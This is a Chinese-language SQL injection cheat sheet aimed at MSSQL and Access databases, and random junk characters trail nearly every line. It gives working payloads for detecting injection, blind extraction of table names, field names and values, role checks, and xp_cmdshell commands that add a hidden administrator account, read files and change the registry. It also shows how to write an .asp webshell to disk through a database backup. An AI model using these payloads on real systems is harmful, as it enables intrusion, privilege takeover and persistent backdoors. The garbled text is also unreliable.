1.判断是否有注入;and 1=1 ;and 1=2 0pBlmPafY
2.初步判断是否是mssql ;and user>0 H8Pil H
#wx0xQ~,J
3.注入参数是字符'and [查询条件] and ''=' [-s0'z
rS>njG;R
4.搜索时没过滤参数的'and [查询条件] and '%25'=' !i.`m-J*
}Jjq] lW
5.判断数据库系统 FL(gwfL
O 4l[4,`
;and (select count(*) from sysobjects)>0 mssql P,xayy
EOVHTDkKf
;and (select count(*) from msysobjects)>0 access H]}Iw5Z
ib/&8)Y+J
E88_15'3D
<IK8Ucp
6.猜数据库 ;and (select Count(*) from [数据库名])>0 /<zBcpVNV
Ij@YOt
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 +%UXI$v
7 82NiVed
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 "MZVwl "E#
7KuTC%7
9.(1)猜字段的ascii值(access) ~Jmn?9 3
UKMrR9[x*
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 1i2jYDB"
JgYaA*1X
(2)猜字段的ascii值(mssql) d[-w&[iy
9 oc.`-e\?
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 _9\ayR>d
~?[%uGI0h
10.测试权限结构(mssql) S-.!BQ@RMZ
]/bf#&@g`k
kTc'k
)Qp?N<&'
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 2[qO;js
l_ >^LFOA
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- vxk1RL*Xu
vT\`0di~
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2@uo2]o)
?J%$;"q
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- i/-Xpj]Zf
*D*K`dk
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- VISNmz2P
;IXDZ#;
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- xwTN\7f>
I$9t^82j
;and 1=(select IS_MEMBER('db_owner'));-- 7evE;KL
y5BNHweaRb
8iqx*8}
gSL$silc
11.添加mssql和系统的帐户 :&&Ps4\Sq
qyp"q{k0
;exec master.dbo.sp_addlogin username;-- w# ,:L)
;exec master.dbo.sp_password null,username,password;-- >9uDY+70I3
hi`\3B
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- FL/@e$AK
"9&6bBa
;exec master.dbo.xp_cmdshell 'net user username password zRL[.O9
! Hdg
$,
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- H2E!A2\m
K$R1x1lc2
;exec master.dbo.xp_cmdshell 'net user username password /add';-- &]16Hb~
}yK_2zak5i
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- A^bg*t,
F4YCU$V
j'X]bd'
\&Mipf7a
12.(1)遍历目录 1EyM,$On
#- f7hg*
;create table dirs(paths varchar(100), id int) TPvS+_<oL{
=HQH;c"
;insert dirs exec master.dbo.xp_dirtree 'c:\' aq oT
;ZFn~!V
;and (select top 1 paths from dirs)>0 ZV,n-M =
7K
{/2k
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) t
/EB
y"N#
%kKe"$)0
&owBmpz
l`[*b_
Xt
(2)遍历目录 B&O931E7
m%qah>11
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^z"90-V^
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 qyP@[8eH
<,`=m|z9k
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 2%rAf8=
O5{
>k
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 IT'~.!o7/
bJx{mq
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 NyeGa
%h4pIA
.px*.e s
neoT\HV
13.mssql中的存储过程 4u"V52
rgRh ySud
xp_regenumvalues 注册表根键, 子键 OzA"i y
U~s&}M\n
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 X%h1r`h&
[6FCbzS_W
xp_regread 根键,子键,键值名 u;F++$=
n^UrHHOL
;exec xp_regread iKv{)5
>C*q
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1WfN_JKB5
Y6?d
y\
xp_regwrite 根键,子键, 值名, 值类型, 值 kC!7<%(
B+`m
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 KNic$:i
A%"mySW
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 n,wLk./`
dp&4G6Y<A
xp_regdeletevalue 根键,子键,值名 Fm#4;'x5E
V2u^sy
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 lw\OsB$
7 1z$a
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ujXC#r&
WW:@% cQ@
F7E# x
=SRp
14.mssql的backup创建webshell Vv
B%,_\
S_y!4;]ox
use model 3G~ T_J&
#6 e
create table cmd(str image); `|8)A)ZVT
=4RnXZ[P0
insert into cmd(str) values (''); )U6T]1
HH&`f3
backup database model to disk='c:\l.asp'; G)?VC^Q
+w?RW^:Q=
9F(<n
2ZNTj u7h
15.mssql内置函数 yxf|Njo0
^*C8BzcH
;and (select @@version)>0 获得Windows的版本号 exiCy1[+
' &^:@V
;and user_name()='dbo' 判断当前系统的连接用户是不是sa od"Oq?~/t
+Tf ,2?O
;and (select user_name())>0 爆当前系统的连接用户 l`:M/z6"
"]f0wLzh
;and (select db_name())>0 得到当前连接的数据库 l5b?
'L
.,)NDG4Q
0V
uG(O
@{+c6.*}
16.简洁的webshell ULIbVy7Y
frWw-<HoI
use model 4N[8LC;MH
q~^Jd=cB\
create table cmd(str image); bJ*jJl x
GPy+\P`
insert into cmd(str) values (''); nbj &3z,
\S{ise/U
backup database model to disk='g:\wwwtest\l.asp';